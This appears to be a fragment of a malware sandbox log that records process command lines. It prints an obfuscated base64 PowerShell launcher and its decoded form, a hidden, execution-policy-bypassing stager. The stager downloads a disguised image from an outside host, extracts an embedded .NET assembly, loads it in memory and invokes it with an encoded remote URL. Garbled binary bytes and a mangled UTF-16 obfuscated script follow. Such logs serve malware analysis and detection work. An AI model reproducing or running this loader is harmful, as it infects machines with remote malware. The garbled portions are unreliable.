265abgBk\u265b\u265aGU\u265b\u265ae\u265b\u265aBP\u265b\u265aGY\u265b\u265aK\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aCk\u265b\u265aOw\u265b\u265ak\u265b\u265aGU\u265b\u265abgBk\u265b\u265aEk\u265b\u265abgBk\u265b\u265aGU\u265b\u265ae\u265b\u265a\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBU\u265b\u265aGU\u265b\u265ae\u265b\u265aB0\u265b\u265aC4\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aE8\u265b\u265aZg\u265b\u265ao\u265b\u265aCQ\u265b\u265aZQBu\u265b\u265aGQ\u265b\u265aRgBs\u265b\u265aGE\u265b\u265aZw\u265b\u265ap\u265b\u265aDs\u265b\u265aJ\u265b\u265aBz\u265b\u265aHQ\u265b\u265aYQBy\u265b\u265aHQ\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aC\u265b\u265a\u265b\u265aLQBn\u265b\u265aGU\u265b\u265aI\u265b\u265a\u265b\u265aw\u265b\u265aC\u265b\u265a\u265b\u265aLQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265a\u265b\u265ag\u265b\u265aCQ\u265b\u265aZQBu\u265b\u265aGQ\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aC\u265b\u265a\u265b\u265aLQBn\u265b\u265aHQ\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aOw\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aI\u265b\u265a\u265b\u265ar\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aC4\u265b\u265aT\u265b\u265aBl\u265b\u265aG4\u265b\u265aZwB0\u265b\u265aGg\u265b\u265aOw\u265b\u265ak\u265b\u265aGI\u265b\u265aYQBz\u265b\u265aGU\u265b\u265aNg\u265b\u265a0\u265b\u265aEw\u265b\u265aZQBu\u265b\u265aGc\u265b\u265ad\u265b\u265aBo\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aCQ\u265b\u265aZQBu\u265b\u265aGQ\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aC\u265b\u265a\u265b\u265aLQ\u265b\u265ag\u265b\u265aCQ\u265b\u265acwB0\u265b\u265aGE\u265b\u265acgB0\u265b\u265aEk\u265b\u265abgBk\u265b\u265aGU\u265b\u265ae\u265b\u265a\u265b\u265a7\u265b\u265aCQ\u265b\u265aYgBh\u265b\u265aHM\u265b\u265aZQ\u265b\u265a2\u265b\u265aDQ\u265b\u265aQwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265a\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBU\u265b\u265aGU\u265b\u265ae\u265b\u265aB0\u265b\u265aC4\u265b\u265aUwB1\u265b\u265aGI\u265b\u265acwB0\u265b\u265aHI\u265b\u265aaQBu\u265b\u265aGc\u265b\u265aK\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCQ\u265b\u265aYgBh\u265b\u265aHM\u265b\u265aZQ\u265b\u265a2\u265b\u265aDQ\u265b\u265aT\u265b\u265aBl\u265b\u265aG4\u265b\u265aZwB0\u265b\u265aGg\u265b\u265aKQ\u265b\u265a7\u265b\u265aCQ\u265b\u265aYwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265aBC\u265b\u265aHk\u265b\u265ad\u265b\u265aBl\u265b\u265aHM\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aWwBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aEM\u265b\u265abwBu\u265b\u265aHY\u265b\u265aZQBy\u265b\u265aHQ\u265b\u265aXQ\u265b\u265a6\u265b\u265aDo\u265b\u265aRgBy\u265b\u265aG8\u265b\u265abQBC\u265b\u265aGE\u265b\u265acwBl\u265b\u265aDY\u265b\u265aN\u265b\u265aBT\u265b\u265aHQ\u265b\u265acgBp\u265b\u265aG4\u265b\u265aZw\u265b\u265ao\u265b\u265aCQ\u265b\u265aYgBh\u265b\u265aHM\u265b\u265aZQ\u265b\u265a2\u265b\u265aDQ\u265b\u265aQwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265a\u265b\u265ap\u265b\u265aDs\u265b\u265aJ\u265b\u265aBs\u265b\u265aG8\u265b\u265aYQBk\u265b\u265aGU\u265b\u265aZ\u265b\u265aBB\u265b\u265aHM\u265b\u265acwBl\u265b\u265aG0\u265b\u265aYgBs\u265b\u265aHk\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aWwBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aFI\u265b\u265aZQBm\u265b\u265aGw\u265b\u265aZQBj\u265b\u265aHQ\u265b\u265aaQBv\u265b\u265aG4\u265b\u265aLgBB\u265b\u265aHM\u265b\u265acwBl\u265b\u265aG0\u265b\u265aYgBs\u265b\u265aHk\u265b\u265aXQ\u265b\u265a6\u265b\u265aDo\u265b\u265aT\u265b\u265aBv\u265b\u265aGE\u265b\u265aZ\u265b\u265a\u265b\u265ao\u265b\u265aCQ\u265b\u265aYwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265aBC\u265b\u265aHk\u265b\u265ad\u265b\u265aBl\u265b\u265aHM\u265b\u265aKQ\u265b\u265a7\u265b\u265aCQ\u265b\u265ad\u265b\u265aB5\u265b\u265aH\u265b\u265a\u265b\u265aZQ\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aGw\u265b\u265abwBh\u265b\u265aGQ\u265b\u265aZQBk\u265b\u265aEE\u265b\u265acwBz\u265b\u265aGU\u265b\u265abQBi\u265b\u265aGw\u265b\u265aeQ\u265b\u265au\u265b\u265aEc\u265b\u265aZQB0\u265b\u265aFQ\u265b\u265aeQBw\u265b\u265aGU\u265b\u265aK\u265b\u265a\u265b\u265an\u265b\u265aEY\u265b\u265aaQBi\u265b\u265aGU\u265b\u265acg\u265b\u265au\u265b\u265aEg\u265b\u265abwBt\u265b\u265aGU\u265b\u265aJw\u265b\u265ap\u265b\u265aDs\u265b\u265aJ\u265b\u265aBt\u265b\u265aGU\u265b\u265ad\u265b\u265aBo\u265b\u265aG8\u265b\u265aZ\u265b\u265a\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aHQ\u265b\u265aeQBw\u265b\u265aGU\u265b\u265aLgBH\u265b\u265aGU\u265b\u265ad\u265b\u265aBN\u265b\u265aGU\u265b\u265ad\u265b\u265aBo\u265b\u265aG8\u265b\u265aZ\u265b\u265a\u265b\u265ao\u265b\u265aCc\u265b\u265aVgBB\u265b\u265aEk\u265b\u265aJw\u265b\u265ap\u265b\u265aC4\u265b\u265aSQBu\u265b\u265aHY\u265b\u265abwBr\u265b\u265aGU\u265b\u265aK\u265b\u265a\u265b\u265ak\u265b\u265aG4\u265b\u265adQBs\u265b\u265aGw\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aFs\u265b\u265abwBi\u265b\u265aGo\u265b\u265aZQBj\u265b\u265aHQ\u265b\u265aWwBd\u265b\u265aF0\u265b\u265aI\u265b\u265a\u265b\u265ao\u265b\u265aCc\u265b\u265aZ\u265b\u265aBI\u265b\u265aGg\u265b\u265aM\u265b\u265aBM\u265b\u265aGo\u265b\u265aUQ\u265b\u265ay\u265b\u265aFo\u265b\u265aW\u265b\u265aBO\u265b\u265aGg\u265b\u265aWQBu\u265b\u265aGw\u265b\u265aeQBa\u265b\u265aFg\u265b\u265aWgB2\u265b\u265aFk\u265b\u265aMgBW\u265b\u265aHk\u265b\u265aZ\u265b\u265aBH\u265b\u265aE4\u265b\u265aa\u265b\u265aBk\u265b\u265aEc\u265b\u265aNQB2\u265b\u265aFk\u265b\u265aMgBo\u265b\u265aD\u265b\u265a\u265b\u265aYQBY\u265b\u265aGQ\u265b\u265adwBk\u265b\u265aEc\u265b\u265aWgBs\u265b\u265aGI\u265b\u265aRwBs\u265b\u265aG0\u265b\u265aWgBH\u265b\u265aGw\u265b\u265adgBj\u265b\u265aG0\u265b\u265aUQB2\u265b\u265aE8\u265b\u265aR\u265b\u265aBr\u265b\u265aHU\u265b\u265aTQBE\u265b\u265aFU\u265b\u265aeQBM\u265b\u265aGo\u265b\u265aSQ\u265b\u265a1\u265b\u265aEw\u265b\u265aagBF\u265b\u265aDU\u265b\u265aT\u265b\u265aB5\u265b\u265aDg\u265b\u265aNgBj\u265b\u265aEg\u265b\u265aUg\u265b\u265aw\u265b\u265aGE\u265b\u265aQQ\u265b\u265a9\u265b\u265aD0\u265b\u265aJw\u265b\u265ag\u265b\u265aCw\u265b\u265aI\u265b\u265a\u265b\u265an\u265b\u265aGQ\u265b\u265aZgBk\u265b\u265aGY\u265b\u265aZ\u265b\u265a\u265b\u265an\u265b\u265aC\u265b\u265a\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCc\u265b\u265aZ\u265b\u265aBm\u265b\u265aGQ\u265b\u265aZg\u265b\u265an\u265b\u265aC\u265b\u265a\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCc\u265b\u265aZ\u265b\u265aBm\u265b\u265aGQ\u265b\u265aZg\u265b\u265an\u265b\u265aC\u265b\u265a\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCc\u265b\u265aZ\u265b\u265aBh\u265b\u265aGQ\u265b\u265acwBh\u265b\u265aCc\u265b\u265aI\u265b\u265a\u265b\u265as\u265b\u265aC\u265b\u265a\u265b\u265aJwBk\u265b\u265aGU\u265b\u265aJw\u265b\u265ag\u265b\u265aCw\u265b\u265aI\u265b\u265a\u265b\u265an\u265b\u265aGM\u265b\u265adQ\u265b\u265an\u265b\u265aCk\u265b\u265aKQ\u265b\u265a=';$OWjuxd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($codigo.replace('\u265b\u265a','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxd"" (UID: 00000000-00002316) Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/666/683/original/js.jpg?1700183864';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LjQ2ZXNhYnlyZXZvY2VydGNhdG5vY2h0aXdwdGZlbGlmZGlvcmQvODkuMDUyLjI5LjE5Ly86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"" (UID: 00000000-00004012, Additional Context: "C:\Windows\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypass NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/666/683/original/js.jpg?17183864'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null ('dHhLjQ2ZXNhYnlyZXZvY2VydGNhdG5vY2haXdwdGZlbGlmZGlvcmQvODkuMDUyLjI5LjE5Ly86cHRaA'; K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M ��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")46:T3ffd,"\xff\xfef\x00 u\x00 n\x00 c\x00 t\x00 i\x00 o\x00 n\x00\x00 q\x00 i\x00 w\x00 g\x00 z\x00 a\x00 p\x00 q\x00 s\x00 Q\x00 Y\x00 d\x00 a\x00 t\x00 O\x00 B\x00 k\x00 l\x00 b\x00 O\x00 X\x00 y\x00 k\x00 s\x00 L\x00 g\x00 S\x00 v\x00 u\x00 Z\x00 w\x00 h\x00 m\x00 H\x00 k\x00 t\x00 W\x00 G\x00 U\x00 L\x00 H\x00 W\x00 e\x00 f\x00 a\x00 y\x00 f\x00 h\x00 H\x00 I\x00 Q\x00 b\x00 e\x00 p\x00 H\x00 D\x00 B\x00 p\x00 a\x00 j\x00 y\x00 T\x00 y\x00 G\x00 E\x00 C\x00 Z\x00 K\x00 F\x00 M\x00 A\x00 o\x00 l\x00 M\x00 C\x00 z\x00 a\x00 J\x00 E\x00 Q\x00 n\x00 A\x00 J\x00 m\x00 n\x00 I\x00 d\x00 v\x00 w\x00 K\x00 R\x00 b\x00 G\x00 J\x00 U\x00 D\x00 R\x00 x\x00 y\x00 f\x00 z\x00 t\x00 k\x00 M\x00 R\x00 I\x00 v\x00 H\x00 i\x00 u\x00 j\x00 e\x00 D\x00 B\x00 c\x00 Z\x00 A\x00 m\x00 F\x00 B\x00 Z\x00 V\x00 W\x00 F\x00 F\x00 H\x00 T\x00 I\x00 k\x00 S\x00 E\x00 z\x00 K\x00 z\x00 T\x00 I\x00 O\x00 x\x00 E\x00 m\x00 d\x00 l\x00 x\x00 q\x00 j\x00 T\x00 o\x00 v\x00 I\x00 Y\x00 e\x00 S\x00 A\x00 V\x00 l\x00 U\x00 x\x00 x\x00 k\x00 P\x00 i\x00 T\x00 K\x00 o\x00 y\x00 t\x00 w\x00 v\x00 W\x00 T\x00 u\x00 g\x00 R\x00 X\x00 b\x00 T\x00 S\x00 O\x00 i\x00 Q\x00 r\x00 A\x00 o\x00 t\x00 W\x00 s\x00 M\x00 a\x00 b\x00 p\x00 P\x00 m\x00 a\x00 d\x00 a\x00(\x00k\x00 g\x00 N\x00 o\x00 s\x00 P\x00 f\x00 s\x00 u\x00 X\x00 q\x00 j\x00 y\x00 j\x00 x\x00 a\x00 X\x00 H\x00 G\x00 m\x00 N\x00 W\x00 a\x00 h\x00 H\x00 I\x00 c\x00 C\x00 k\x00 C\x00 h\x00 q\x00 j\x00 B\x00 G\x00 J\x00 q\x00 h\x00 B\x00 X\x00 N\x00 K\x00 m\x00 F\x00 a\x00 w\x00 v\x00 t\x00 n\x00 m\x00 s\x00 X\x00 r\x00 Y\x00 W\x00 m\x00 l\x00 f\x00 M\x00 k\x00 b\x00 C\x00 P\x00 B\x00 e\x00 z\x00 Z\x00 M\x00 I\x00 e\x00 N\x00 x\x00 I\x00 m\x00 o\x00 e\x00 o\x00 r\x00 B\x00 H\x00 J\x00 B\x00 Q\x00 X\x00 K\x00 t\x00 p\x00 J\x00 K\x00 d\x00 x\x00 I\x00 m\x00 N\x00 M\x00 H\x00 g\x00 s\x00 Y\x00 t\x00 a\x00 N\x00 x\x00 E\x00 F\x00 z\x00 I\x00 i\x00 S\x00 s\x00 W\x00 t\x00 P\x00 s\x00 q\x00 d\x00 y\x00 P\x00 p\x00 q\x00 B\x00 F\x00 d\x00 o\x00 o\x00 U\x00 Y\x00 C\x00 m\x00 B\x00 n\x00 o\x00 L\x00 K\x00 A\x00 q\x00 X\x00 J\x00 i\x00 e\x00 i\x00 C\x00 C\x00 u\x00 c\x00 F\x00 P\x00 t\x00 u\x00 m\x00 m\x00 O\x00 v\x00 m\x00 z\x00 f\x00 b\x00 R\x00 L\x00 F\x00 l\x00 a\x00 l\x00 L\x00 R\x00 t\x00 J\x00 F\x00 n\x00 J\x00 H\x00 Q\x00 w\x00 i\x00 Z\x00 C\x00 R\x00 m\x00 k\x00 m\x00 h\x00 V\x00 V\x00 g\x00 e\x00 x\x00 A\x00 j\x00 F\x00 b\x00 x\x00 I\x00 T\x00 U\x00 u\x00 n\x00 s\x00, \x00\x00D\x00 M\x00 c\x00 P\x00 F\x00 V\x00 V\x00 J\x00 W\x00 r\x00 c\x00 m\x00 M\x00 s\x00 q\x00 Z\x00 g\x00 f\x00 s\x00 y\x00 I\x00 C\x00 x\x00 y\x00 L\x00 Q\x00 B\x00 A\x00 Z\x00 F\x00 R\x00 k\x00 m\x00 D\x00 G\x00 t\x00 P\x00 J\x00 t\x00 m\x00 a\x00 n\x00 p\x00 n\x00 S\x00 r\x00 p\x00 u\x00 t\x00 K\x00 u\x00 w\x00 i\x00 t\x00 r\x00 N\x00 Q\x00 c\x00 C\x00 k\x00 t\x00 j\x00 A\x00 M\x00 l\x00 e\x00 f\x00 t\x00 T\x00 h\x00 X\x00 n\x00 k\x00 Y\x00 t\x00 q\x00 r\x00 w\x00 m\x00 t\x00 C\x00 k\x00 X\x00 e\x00 x\x00 i\x00 O\x00 X\x00 M\x00 x\x00 e\x00 b\x00 b\x00 Y\x00 z\x00 r\x00 A\x00 Y\x00 g\x00 S\x00 d\x00 A\x00 k\x00 K\x00 R\x00 i\x00 r\x00 Z\x00 x\x00 y\x00 y\x00 v\x00 g\x00 H\x00 L\x00 v\x00 b\x00 P\x00 O\x00 I\x00 v\x00 x\x00 P\x00 o\x00 C\x00 A\x00 o\x00 P\x00 i\x00 O\x00 A\x00 w\x00 y\x00 R\x00 L\x00 z\x00 j\x00 V\x00 R\x00 i\x00 O\x00 J\x00 Y\x00 L\x00 U\x00 R\x00 R\x00 S\x00 u\x00 H\x00 G\x00 P\x00 L\x00 E\x00 F\x00 X\x00 t\x00 T\x00 p\x00 u\x00 y\x00 m\x00 H\x00 a\x00 N\x00 m\x00 I\x00 B\x00 S\x00 P\x00 b\x00 U\x00 E\x00 t\x00 H\x00 h\x00 k\x00 h\x00 u\x00 V\x00 i\x00 u\x00 W\x00 K\x00 e\x00 B\x00 G\x00 P\x00 x\x00 F\x00 U\x00 a\x00 q\x00 B\x00 v\x00, \x00\x00M\x00 R\x00 F\x00 N\x00 s\x00 c\x00 V\x00 x\x00 f\x00 m\x00 u\x00 m\x00 U\x00 e\x00 j\x00 R\x00 s\x00 o\x00 p\x00 k\x00 K\x00 M\x00 r\x00 E\x00 s\x00 w\x00 i\x00 r\x00 y\x00 m\x00 E\x00 h\x00 W\x00 O\x00 h\x00 d\x00 P\x00 g\x00 M\x00 m\x00 Q\x00 X\x00 m\x00 m\x00 h\x00 B\x00 M\x00 H\x00 c\x00 Z\x00 T\x00 L\x00 q\x00 e\x00 P\x00 A\x00 A\x00 T\x00 y\x00 w\x00 v\x00 o\x00 X\x00 U\x00 s\x00 h\x00 R\x00 S\x00 Z\x00 Y\x00 t\x00 H\x00 B\x00 b\x00 H\x00 o\x00 G\x00 O\x00 U\x00 X\x00 v\x00 q\x00 z\x00 q\x00 h\x00 T\x00 t\x00 f\x00 l\x00 e\x00 A\x00 H\x00 D\x00 c\x00 o\x00 n\x00 f\x00 B\x00 M\x00 A\x00 D\x00 E\x00 v\x00 q\x00 V\x00 q\x00 B\x00 o\x00 h\x00 s\x00 O\x00 i\x00 y\x00 P\x00 Y\x00 F\x00 m\x00 z\x00 d\x00 I\x00 H\x00 u\x00 b\x00 R\x00 V\x00 w\x00 s\x00 v\x00 U\x00 x\x00 d\x00 I\x00 q\x00 t\x00 T\x00 j\x00 f\x00 U\x00 e\x00 n\x00 i\x00 P\x00 F\x00 G\x00 y\x00 c\x00 o\x00 h\x00 M\x00 C\x00 M\x00 S\x00 F\x00 T\x00 F\x00 Z\x00 B\x00 M\x00 q\x00 p\x00 J\x00 J\x00 p\x00 h\x00 z\x00 g\x00 M\x00 E\x00 l\x00 E\x00 M\x00 i\x00 w\x00 n\x00 A\x00 K\x00 l\x00 c\x00 A\x00 o\x00 T\x00 M\x00 W\x00 s\x00 b\x00 n\x00 T\x00 X\x00 x\x00 b\x00 h\x00 r\x00)\x00\x00 {\x00\x00\x00\x00\x00\x00\x00 v\x00 a\x00 r\x00\x00 S\x00 t\x00 x\x00 r\x00 u\x00 K\x00 V\x00 b\x00 N\x00 M\x00 f\x00 a\x00 o\x00 M\x00 v\x00 V\x00 V\x00 E\x00 Y\x00 d\x00 v\x00 Z\x00 M\x00 B\x00 z\x00 t\x00 e\x00 c\x00 s\x00 l\x00 l\x00 b\x00 p\x00 N\x00 t\x00 g\x00 d\x00 a\x00 u\x00 j\x00 I\x00 s\x00 K\x00 F\x00 c\x00 J\x00 O\x00 e\x00 g\x00 K\x00 Q\x00 W\x00 G\x00 N\x00 V\x00 D\x00 o\x00 F\x00 g\x00 g\x00 U\x00 o\x00 P\x00 Z\x00 r\x00 Q\x00 P\x00 s\x00 z\x00 c\x00 Q\x00 e\x00 d\x00 m\x00 j\x00 p\x00 c\x00 r\x00 V\x00 K\x00 F\x00 q\x00 o\x00 d\x00 i\x00 Q\x00 q\x00 U\x00 j\x00 i\x00 u\x00 D\x00 O\x00 J\x00 g\x00 c\x00 i\x00 Z\x00 h\x00 I\x00 N\x00 f\x00 Y\x00 X\x00 E\x00 t\x00 B\x00 F\x00 w\x00 D\x00 I\x00 j\x00 f\x00 F\x00 b\x00 P\x00 i\x00 m\x00 h\x00 E\x00 F\x00 K\x00 W\x00 n\x00 w\x00 U\x00 j\x00 d\x00 m\x00 W\x00 x\x00 A\x00 F\x00 u\x00 Y\x00 M\x00 i\x00 g\x00 D\x00 v\x00 N\x00 S\x00 j\x00 n\x00 S\x00 m\x00 f\x00 O\x00 g\x00 H\x00 D\x00 Y\x00 u\x00 M\x00 p\x00 V\x00 r\x00 k\x00 q\x00 Q\x00 I\x00 M\x00 U\x00 o\x00 C\x00 U\x00 p\x00 d\x00 J\x00 Z\x00 I\x00 w\x00 r\x00 c\x00 x\x00 f\x00 U\x00 s\x00 v\x00 V\x00 L\x00 P\x00 I\x00 Z\x00 l\x00 F\x00 g\x00 C\x00 m\x00 u\x00 o\x00 e\x00 F\x00 y\x00\x00 = \x00\x00M\x00 R\x00 F\x00 N\x00 s\x00 c\x00 V\x00 x\x00 f\x00 m\x00 u\x00 m\x00 U\x00 e\x00 j\x00 R\x00 s\x00 o\x00 p\x00 k\x00 K\x00 M\x00 r\x00 E\x00 s\x00 w\x00 i\x00 r\x00 y\x00 m\x00 E\x00 h\x00 W\x00 O\x00 h\x00 d\x00 P\x00 g\x00 M\x00 m\x00 Q\x00 X\x00 m\x00 m\x00 h\x00 B\x00 M\x00 H\x00 c\x00 Z\x00 T\x00 L\x00 q\x00 e\x00 P\x00 A\x00 A\x00 T\x00 y\x00 w\x00 v\x00 o\x00 X\x00 U\x00 s\x00 h\x00 R\x00 S\x00 Z\x00 Y\x00 t\x00 H\x00 B\x00 b\x00 H\x00 o\x00 G\x00 O\x00 U\x00 X\x00 v\x00 q\x00 z\x00 q\x00 h\x00 T\x00 t\x00 f\x00 l\x00 e\x00 A\x00 H\x00 D\x00 c\x00 o\x00 n\x00 f\x00 B\x00 M\x00 A\x00 D\x00 E\x00 v\x00 q\x00 V\x00 q\x00 B\x00 o\x00 h\x00 s\x00 O\x00 i\x00 y\x00 P\x00 Y\x00 F\x00 m\x00 z\x00 d\x00 I\x00 H\x00 u\x00 b\x00 R\x00 V\x00 w\x00 s\x00 v\x00 U\x00 x\x00 d\x00 I\x00 q\x00 t\x00 T\x00 j\x00 f\x00 U\x00 e\x00 n\x00 i\x00 P\x00 F\x00 G\x00 y\x00 c\x00 o\x00 h\x00 M\x00 C\x00 M\x00 S\x00 F\x00 T\x00 F\x00 Z\x00 B\x00 M\x00 q\x00 p\x00 J\x00 J\x00 p\x00 h\x00 z\x00 g\x00 M\x00 E\x00 l\x00 E\x00 M\x00 i\x00 w\x00 n\x00 A\x00 K\x00 l\x00 c\x00 A\x00 o\x00 T\x00 M\x00 W\x00 s\x00 b\x00 n\x00 T\x00 X\x00 x\x00 b\x00 h\x00 r\x00.\x00X\x00 m\x00 l\x00 N\x00 o\x00 d\x00 e\x00;\x00\x00\x00\x00\x00\x00\x00 v\x00 a\x00 r\x00\x00 I\x00 W\x00 W\x00 x\x00 R\x00 O\x00 f\x00 S\x00 q\x00 n\x00 e\x00 X\x00 x\x00 m\x00 M\x00 P\x00 G\x00 d\x00 j\x00 J\x00 F\x00 V\x00 g\x00 J\x00 m\x00 O\x00 k\x00 x\x00 l\x00 K\x00 L\x00 s\x00 q\x00 Q\x00 B\x00 k\x00 K\x00 N\x00 n\x00 M\x00 e\x00 u\x00 M\x00 u\x00 X\x00 J\x00 X\x00 V\x00 p\x00 A\x00 j\x00 s\x00 y\x00 N\x00 M\x00 M\x00 Q\x00 e\x00 v\x00 e\x00 o\x00 M\x00 n\x00 M\x00 J\x00 h\x00 G\x00 m\x00 B\x00 E\x00 D\x00 u\x00 q\x00 O\x00 W\x00 T\x00 z\x00 J\x00 L\x00 b\x00 r\x00 U\x00 s\x00 Y\x00 A\x00 r\x00 k\x00 w\x00 p\x00 h\x00 P\x00 N\x00 E\x00 J\x00 G\x00 U\x00 E\x00 Q\x00 v\x00 F\x00 g\x00 j\x00 l\x00 P\x00 D\x00 K\x00 l\x00 e\x00 q\x00 j\x00 T\x00 v\x00 e\x00 L\x00 g\x00 c\x00 K\x00 d\x00 T\x00 v\x00 S\x00 D\x00 c\x00 v\x00 g\x00 J\x00 W\x00 u\x00 s\x00 u\x00 R\x00 w\x00 I\x00 M\x00 n\x00 U\x00 S\x00 R\x00 O\x00 l\x00 O\x00 s\x00 N\x00 m\x00 y\x00 k\x00 u\x00 j\x00 J\x00 n\x00 K\x00 Z\x00 H\x00 P\x00 d\x00 A\x00 k\x00 m\x00 x\x00 s\x00 o\x00 t\x00 r\x00 h\x00 z\x00 c\x00 m\x00 V\x00 Z\x00 w\x00 F\x00 l\x00 o\x00 m\x00 H\x00 f\x00 d\x00 M\x00 j\x00 N\x00 A\x00 o\x00 f\x00 G\x00 S\x00 S\x00 V\x00 H\x00 m\x00 K\x00 K\x00 Q\x00 J\x00 O\x00 X\x00;\x00\x00\x00\x00\x00\x00\x00 Z\x00 N\x00 O\x00 W\x00 F\x00 M\x00 f\x00 w\x00 r\x00 x\x00 H\x00 m\x00 z\x00 F\x00 T\x00 u\x00 K\x00 T\x00 I\x00 T\x00 P\x00 f\x00 y\x00 l\x00 N\x00 w\x00 a\x00 U\x00 O\x00 f\x00 f\x00 r\x00 Q\x00 D\x00 E\x00 n\x00 Z\x00 l\x00 k\x00 a\x00 P\x00 r\x00 X\x00 B\x00 G\x00 U\x00 b\x00 Y\x00 z\x00 z\x00 j\x00 F\x00 d\x00 T\x00 V\x00 Z\x00 o\x00 y\x00 Z\x00 m\x00 i\x00 Y\x00 t\x00 i\x00 u\x00 q\x00 w\x00 D\x00 P\x00 a\x00 H\x00 h\x00 K\x00 F\x00 H\x00 y\x00 H\x00 G\x00 H\x00 G\x00 E\x00 n\x00 N\x00 U\x00 P\x00 v\x00 O\x00 H\x00 t\x00 k\x00 n\x00 m\x00 O\x00 I\x00 E\x00 c\x00 L\x00 g\x00 F\x00 o\x00 I\x00 T\x00 s\x00 w\x00 D\x00 p\x00 A\x00 w\x00 M\x00 U\x00 B\x00 Y\x00 m\x00 x\x00 v\x00 i\x00 